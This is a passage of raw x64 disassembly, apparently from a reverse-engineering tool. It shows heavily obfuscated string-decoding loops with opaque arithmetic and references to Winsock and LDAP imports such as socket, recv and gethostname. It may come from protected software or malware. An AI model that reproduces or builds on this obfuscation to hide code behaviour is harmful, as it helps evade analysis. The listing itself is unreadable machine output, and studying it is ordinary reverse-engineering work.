jmp 0x140090362
movabs rdx, 0xb97ccc3a8b7e7233
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x65
jmp 0x140090c2e
movabs rdx, 0x402f710ef8cca11f
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x27
add r10b, dl
movabs rcx, 0x3387eba20162c7c3
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x55
add r11b, cl
mov byte [rbp + rbx + 0x7a8], r11b
inc r9
dec rbx
inc rbx
jmp 0x140090362
movabs rcx, 0xc6e215e3661ad00b
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x4d
dec rbx
inc rbx
jmp 0x140090362
movabs rcx, 0x4d94bab7d368fef7
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x3f
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140090362
mov r11, rdx
movabs rcx, 0xd4475f8c40b72de3
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
sub r10b, 0x35
movabs rcx, 0xacd546cd941498d7
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, 0x1f
add cl, r11b
movzx eax, cl
mov byte [rbp + rbx + 0x7a8], al
inc r9
add rax, r9
sub rbx, rax
movabs rdx, 0xcb289d9878c10d1c
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
add cl, cl
add cl, dl
add cl, r11b
mov byte [rbp + rbx + 0x7a8], cl
inc r8
mov rax, r12
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x7a8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140090362
movabs rcx, 0x5afa0460ae055ccf
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
add r10b, 0x57
movzx eax, byte [rbp + rbx + 0x7a8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140090362
movabs rcx, 0xc14c1768cd9867d9
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x11
jmp 0x140090360
movabs rcx, 0x84a569d3043f7f4f
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x29
jmp 0x140090350
lea rcx, [rbp + 0x15e2604]
jmp 0x140090e01
lea rcx, [rbp + 0x14a9a49]
jmp 0x140090e01
lea rcx, [rbp + 0x7a8]
mov rdx, rdi
call fcn.140035c60
lea rdx, [0x140225f70]
lea rcx, [rbp + 0x168]
call fcn.140002680
mov rdx, rax
mov rcx, qword [0x14022c170]
call fcn.140069e40
mov rcx, rax
call fcn.14006b1d0
mov rdi, rax
mov byte [rbp + 0x7d0], 0x82
mov byte [rbp + 0x7d1], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x7d2], 0xe3
mov byte [rbp + 0x7d3], Ordinal_211
mov byte [rbp + 0x7d4], 0xaa
mov byte [rbp + 0x7d5], 0x83
mov byte [rbp + 0x7d6], 0xf9
mov byte [rbp + 0x7d7], 0xf5
mov byte [rbp + 0x7d8], Ordinal_79
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x7d9], xmm0
mov qword [rbp + 0x7e9], rax
mov word [rbp + 0x7f1], ax
movabs rsi, 0xe189f85fb4f14659
movabs r13, 0x47b13c96d7daba35
movabs r14, 0xed3be5e733c31ac7
movabs r15, 0x5dd96cb9840da65d
movzx r10d, byte [rsp + 0x40]
nop dword [rax]
mov r8, qword [0x14022c4b8]
mov r9, qword [0x14022c4b0]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x140091ccc
movzx r11d, byte [rbp + rbx + 0x7d0]
mov rdx, r11
nop dword [rax + rax]
cmp r8, rbx
ja 0x140091cc0
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140090f20
lea rcx, [rbx + r13]
mov rax, rdx
and rax, rcx
imul r10, rax, 0xfffffffffffffffe
add r10, rdx
add r10, rcx
sub r10b, 0x73
jmp 0x140090f66
je 0x140091c38
inc rax
cmp r8, rax
je 0x140091ba0
lea rax, [r9 + 3]
cmp r8, rax
je 0x140091b6d
lea rax, [r9 + 5]
cmp r8, rax
je 0x140091b36
lea rax, [r9 + 6]
cmp r8, rax
je 0x140091ad8
lea rax, [r9 + 7]
cmp r8, rax
je 0x140091aae
cmp r9, rbx
ja 0x140091cb4
lea rax, [r9 + 0x61]
cmp r8, rax
jae 0x140090f94
lea rcx, [rbx + rsi]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x6f
jmp 0x140090fe0
lea rax, [r9 + 1]
cmp r8, rax
je 0x140091a56
lea rax, [r9 + 5]
cmp r8, rax
je 0x140091a21
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400919fd
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400919d9
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400919a3
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x140091646
nop dword [rax]
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x140091621
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x1400915f4
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1400915c9
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400915a5
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x14009156e
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x140091535
lea rax, [r9 + 9]
cmp r8, rax
je 0x14009150c
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400914e3
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400914a9
lea r8, [r9 + 0x61]
lea r9, [r8 + 0x64]
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x140091c90
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x140091c6c
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x1400911a7
lea rax, [r9 + 3]
cmp r8, rax
jb 0x14009118c
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x140091171
lea rax, [r9 + 2]
cmp r8, rax
jb 0x140091448
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x1400913e9
lea rax, [r9 + 1]
cmp r8, rax
jb 0x14009139a
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x14009136b
lea r8, [r9 + 0x10]
lea r9, [r8 + 4]
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x140091336
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x140091312
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x1400912ee
lea rax, [r9 + 9]
cmp r8, rax
ja 0x1400912b5
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x140091279
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x140091250
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x140091221
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x1400911ef
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x1400911cb
lea r8, [r9 + 0x5a]
lea r9, [r8 + 0xa]
jmp 0x140090ff0
lea rcx, [rbx + r14]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x71
jmp 0x140090fe0
lea rcx, [rbx + r15]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x75
jmp 0x140090f66
movabs rcx, 0xce76f38bd45831f3
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x5b
jmp 0x140090ee5
movabs rcx, 0xc4fc2fda78a32c8
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x78
jmp 0x140091a79
movabs rdx, 0x7ced49cff7d4be5e
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc r9
dec rbx
inc rbx
jmp 0x140090ed2
movabs rdx, 0xed8ad0a2481f49f4
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x140090ed2
movabs rdx, 0x5e2857749869d58a
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140091af7
movabs rdx, 0xcec5de46e8b46120
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140090ed2
movabs rdx, 0x3f63651938feecb6
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 3
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140090ed2
movabs rcx, 0xb000ebeb8949784c
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x14
jmp 0x140091bbe
movabs rcx, 0x209e72bdd99403e2
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x2e
jmp 0x140091bee
movabs rcx, 0x913bf99029de8f78
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x48
movzx eax, byte [rbp + rbx + 0x7d0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140090ed2
movabs rcx, 0x2ac5ca9df298ec6f
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 9
mov byte [rbp + rbx + 0x7d0], r10b
inc rbx
jmp 0x140090ed2
movabs rcx, 0x9b63517042e37805
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x23
cmp r9, 0x40
jb 0x14009138a
movabs rcx, 0x909e241a0126311e
add rcx, rbx
movzx eax, cl
and al, r11b
mov edx, reloc.WS2_32.dll_socket
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
lea r10d, [rdx + rdx]
jmp 0x140091a79
movabs rcx, 0xc00d842932e039b
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x3d
cmp r8, 0x5a
jae 0x140091941
lea rax, [r9 + 0xa]
cmp r8, rax
jbe 0x140091858
movabs rdx, 0xf6c56851240fa4fa
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400913b9
movabs rcx, 0x7c9e5f14e3788f31
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x57
lea rax, [r9 + r8]
cmp rax, 0x10
je 0x140091972
lea rax, [r9 + 0x1000]
cmp r8, rax
jbe 0x140091786
movabs rcx, 0x153b6ff16f1e5ea1
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x67
jmp 0x140091408
movabs rdx, 0x493bd23e3da7a616
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x33
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0x7d0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140090ed2
movabs rdx, 0xb9d959108df231ac
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x140091bee
movabs rdx, 0x2a76dfe2de3cbd42
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140091bbe
movabs rdx, 0x9b1466b52e8748d8
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140090ed2
movabs rcx, 0xbb1ed877ed1d46e
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 2
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140090ed2
movabs rcx, 0x7c4f7459cf1c6004
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x1c
jmp 0x140091af7
movabs rcx, 0xececfb2c1f66eb9a
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x36
dec rbx
inc rbx
jmp 0x140090ed2
movabs rcx, 0x5d8a81fe6fb17730
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x50
inc r9
dec rbx
inc rbx
jmp 0x140090ed2
movabs rdx, 0xce2808d0bffc02c6
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x6a
jmp 0x140091a76
lea rax, [r9 + 0x2a]
cmp r8, rax
jae 0x14009166e
lea rcx, [rbx + r13]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x73
jmp 0x140091467
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400916b1
movabs rdx, 0xc313f0bf69e28cb2
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0x7d0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140090ed2
inc rax
cmp r8, rax
jne 0x1400916e2
movabs rdx, 0xe1d8e31ac94d7586
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140091bbe
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140091722
movabs rcx, 0x9dd57628b85e5a
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x76
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140090ed2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140091755
movabs rcx, 0x1f62c7d18823472e
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x42
dec rbx
inc rbx
jmp 0x140090ed2
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140091467
movabs rcx, 0x3e27ba2ce78e3002
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0xe
jmp 0x140091a79
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400917b3
movabs rcx, 0xa49de91f1ed3d30b
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x4d
jmp 0x140091a79
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400917e6
movabs rcx, 0xc362db7a7e3ebbdf
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x19
dec rbx
inc rbx
jmp 0x140090ed2
lea rax, [rcx + 1]
cmp r8, rax
jne 0x140091823
movabs rcx, 0x718a47038d5f191d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x35
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140090ed2
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140091408
movabs rdx, 0xecc0313d148d87
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x4f
add r10b, dl
jmp 0x140091bbe
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14009189b
movabs rdx, 0x8627e17ed3c51964
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_35
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0x7d0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140090ed2
inc rax
cmp r8, rax
jne 0x1400918cc
movabs rdx, 0x158a5aac837a8dce
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140091bee
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14009190c
movabs rcx, 0xc3b1c635929aeb0c
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x54
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140090ed2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400913b9
movabs rdx, 0x53143f6342505f76
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x3a
add r10b, dl
jmp 0x140091af7
movabs rdx, 0x20009d47b0dba588
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x24
sub cl, al
lea r10d, [rcx + rcx]
add r10b, byte [rbp + rbx + 0x7d0]
add r10b, dl
add r10b, r11b
jmp 0x140091af7
movabs rdx, 0xaf631675609119f2
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
sub r10b, byte [rbp + rbx + 0x7d0]
add r10b, dl
add r10b, r11b
jmp 0x140091bbe
movabs rcx, 0xec003afae2525e13
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x7b
movzx eax, byte [rbp + rbx + 0x7d0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140090ed2
movabs rcx, 0x5c9dc1cd329ce9a9
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x61
jmp 0x140091bee
movabs rcx, 0xcd3b489f82e7753f
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x47
jmp 0x140091bbe
movabs rcx, 0x3dd8cf71d33200d5
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x2d
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140090ed2
movabs rdx, 0x70ec718d64a6bac3
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x55
add r10b, dl
movabs rcx, 0xd84f60b0d900eb53
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x45
add r11b, cl
mov byte [rbp + rbx + 0x7d0], r11b
inc r9
dec rbx
inc rbx
jmp 0x140090ed2
movabs rcx, 0x33628cd6a5d0e91b
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x43
dec rbx
inc rbx
jmp 0x140090ed2
movabs rcx, 0xa40013a8f61b74b1
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x29
movabs rcx, 0x67b1d9de88b65fbd
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x2b
add cl, r11b
add cl, r10b
mov byte [rbp + rbx + 0x7d0], cl
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140090ed2
movabs rcx, 0x149d9a7b46660047
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0xf
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140090ed2
movabs rcx, 0x853b214d96b08bdd
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
sub r10b, 0xb
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140090ed2
mov r11, rdx
movabs rax, 0xf5d8a81fe6fb1773
add rax, rbx
and dl, al
add dl, dl
sub al, dl
lea r10d, [r11 + rax]
sub r10b, 0x25
movabs rcx, 0xf714530c386bd427
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x11
add cl, r11b
movzx eax, cl
mov byte [rbp + rbx + 0x7d0], al
inc r9
add rax, r9
sub rbx, rax
movabs rdx, 0x3ec58fa310468e5c
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x3e
sub cl, al
add cl, cl
add cl, dl
add cl, r11b
mov byte [rbp + rbx + 0x7d0], cl
inc r8
mov rax, r12
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x7d0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140090ed2
movabs rcx, 0xd713b5c487902e9f
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
sub r10b, 0x59
movzx eax, byte [rbp + rbx + 0x7d0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140090ed2
movabs rcx, 0x3f147a5e24a2bd89
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x41
jmp 0x140090ed0
movabs rcx, 0xafb2013074ed491f
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x27
jmp 0x140090ec0
lea rcx, [rbp + 0x175236c]
jmp 0x140091cd3
lea rcx, [rbp + 0x4fdda1]
jmp 0x140091cd3
lea rcx, [rbp + 0x7d0]
mov rdx, rdi
call fcn.140035c60
lea rdx, [0x140225e50]
lea rcx, [rbp + 0x188]
call fcn.140002680
mov rdi, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp + 0x48]
mov rcx, qword [0x14022c170]
call fcn.14006bfb0
mov rbx, qword [rax]
mov rcx, rdi
call fcn.140002820
lea rcx, [rbx + 0x30]
call fcn.14006b1d0
mov rdi, rax
mov byte [rbp + 0x7f8], 0x78
mov byte [rbp + 0x7f9], 0x5a
mov byte [rbp + 0x7fa], 0x57
mov byte [rbp + 0x7fb], 0x5c
mov byte [rbp + 0x7fc], reloc.WLDAP32.dll_Ordinal_26
mov byte [rbp + 0x7fd], WSACleanup
mov byte [rbp + 0x7fe], 0x5f
mov byte [rbp + 0x7ff], 0x5d
mov byte [rbp + 0x800], 0x59
mov byte [rbp + 0x801], Ordinal_79
mov byte [rbp + 0x802], 0xb5
mov byte [rbp + 0x803], reloc.WLDAP32.dll_Ordinal_35
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x804], xmm0
mov dword [rbp + 0x814], eax
mov word [rbp + 0x818], ax
mov byte [rbp + 0x81a], al
movabs rsi, 0x28793a052e5c4733
movabs r13, 0xf5bca13d32f83427
movabs r14, 0x6d6b8c3aacc4512d
movabs r15, 0x81f249c046d3e8df
movzx edx, byte [rsp + 0x40]
mov r9, qword [0x14022c4b8]
mov r8, qword [0x14022c4b0]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x140092b15
movzx r11d, byte [rbp + rbx + 0x7f8]
mov r10, r11
nop dword [rax + rax]
cmp r9, rbx
ja 0x140092b09
lea rax, [r8 + 1]
cmp r9, rax
jae 0x140091e1f
lea rcx, [rbx + r13]
mov rax, rcx
and rax, r11
imul rdx, rax, 0xfffffffffffffffe
add rdx, rcx
add rdx, r11
sub dl, 0x11
jmp 0x140091e66
je 0x140092a82
lea rax, [r8 + 2]
cmp r9, rax
je 0x1400929e9
lea rax, [r8 + 3]
cmp r9, rax
je 0x1400929b3
lea rax, [r8 + 4]
cmp r9, rax
je 0x140092952
lea rax, [r8 + 5]
cmp r9, rax
je 0x140092925
lea rax, [r8 + 8]
cmp r9, rax
je 0x1400928d3
cmp r8, rbx
ja 0x140092afd
lea rax, [r8 + 2]
cmp r9, rax
jae 0x140091e95
lea rdx, [rbx + rsi]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x65
add dl, cl
jmp 0x140091ed0
lea rax, [r8 + 1]
cmp r9, rax
je 0x1400928b8
lea rax, [r8 + 3]
cmp r9, rax
je 0x14009288e
lea rax, [r8 + 5]
cmp r9, rax
je 0x14009285b
lea rax, [r8 + 6]
cmp r9, rax
je 0x140092826
nop dword [rax]
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x14009251c
nop dword [rax]
lea rax, [r8 + 9]
cmp r9, rax
je 0x140092501
lea rax, [r8 + 0x42]
cmp r9, rax
je 0x1400924d4
lea rax, [r8 + 0x1000]
cmp r9, rax
je 0x1400924a8
lea rax, [r8 + 1]
cmp r9, rax
je 0x140092484
lea rax, [r8 + 8]
cmp r9, rax
je 0x14009244c
lea rax, [r8 + 0x40]
cmp r9, rax
je 0x140092417
lea rax, [r8 + 0x400]
cmp r9, rax
je 0x1400923f8
lea rax, [r8 + 0x2a]
cmp r9, rax
je 0x1400923d3
lea rax, [r8 + 0x7a]
cmp r9, rax
je 0x14009239e
lea rax, [r8 + 3]
cmp r9, rax
je 0x140091ee0
lea r9, [r8 + 6]
lea r8, [r9 + 0xa]
lea rax, [r8 + 0x28]
cmp r9, rax
jb 0x140092ad9
lea rax, [r8 + 0x3e8]
cmp r9, rax
jb 0x140092ab6
lea rax, [r8 + 0x5a]
cmp r9, rax
jb 0x1400920cf
lea rax, [r8 + 5]
cmp r9, rax
jb 0x1400920b3
lea rax, [r8 + 0x20]
cmp r9, rax
jb 0x140092097
lea rax, [r8 + 0x200]
cmp r9, rax
jb 0x140092340
lea rax, [r8 + 0x41]
cmp r9, rax
jb 0x1400922e8
lea rax, [r8 + 4]
cmp r9, rax
jb 0x140092299
lea rax, [r8 + 0x10]
cmp r9, rax
jb 0x14009226c
lea rax, [r8 + 0x80]
cmp r9, rax
jb 0x140091ee0
lea r9, [r8 + 0x400]
lea r8, [r9 + 0x40]
lea rax, [r8 + 0x80]
cmp r9, rax
ja 0x140092238
lea rax, [r8 + 0x7a]
cmp r9, rax
ja 0x140092213
lea rax, [r8 + 3]
cmp r9, rax
ja 0x1400921f4
lea rax, [r8 + 0xa]
cmp r9, rax
ja 0x1400921c1
lea rax, [r8 + 0x64]
cmp r9, rax
ja 0x140092189
lea rax, [r8 + 0x61]
cmp r9, rax
ja 0x140092165
lea rax, [r8 + 2]
cmp r9, rax
ja 0x140092139
lea rax, [r8 + 9]
cmp r9, rax
ja 0x14009210d
lea rax, [r8 + 0x42]
cmp r9, rax
ja 0x1400920f2
lea rax, [r8 + 0x1000]
cmp r9, rax
ja 0x140091ee0
lea r9, [r8 + 0x41]
lea r8, [r9 + 1]
jmp 0x140091ee0
lea rdx, [rbx + r14]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x3b
add dl, cl
jmp 0x140091ed0
lea rdx, [rbx + r15]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x19
add dl, cl
jmp 0x140091e66
movabs rcx, 0x96790745e0e38091
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 9
jmp 0x140091de5
movabs rdx, 0x43c9d02972e23998
add rdx, rbx
movzx eax, r11b
and al, dl
sub dl, 0x28
jmp 0x1400928e9
movabs rcx, 0x58508daf0cf1d14a
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 6
inc r8
dec rbx
inc rbx
jmp 0x140091dd2
movabs rdx, 0x6cd74b34a70168fc
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, recv
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
dec rbx
inc rbx
jmp 0x140091dd2
movabs rdx, 0x815e08ba411100ae
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_35
sub cl, al
add cl, cl
add cl, r11b
jmp 0x140092970
movabs rdx, 0x95e4c63fdb209860
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_50
sub cl, al
add cl, cl
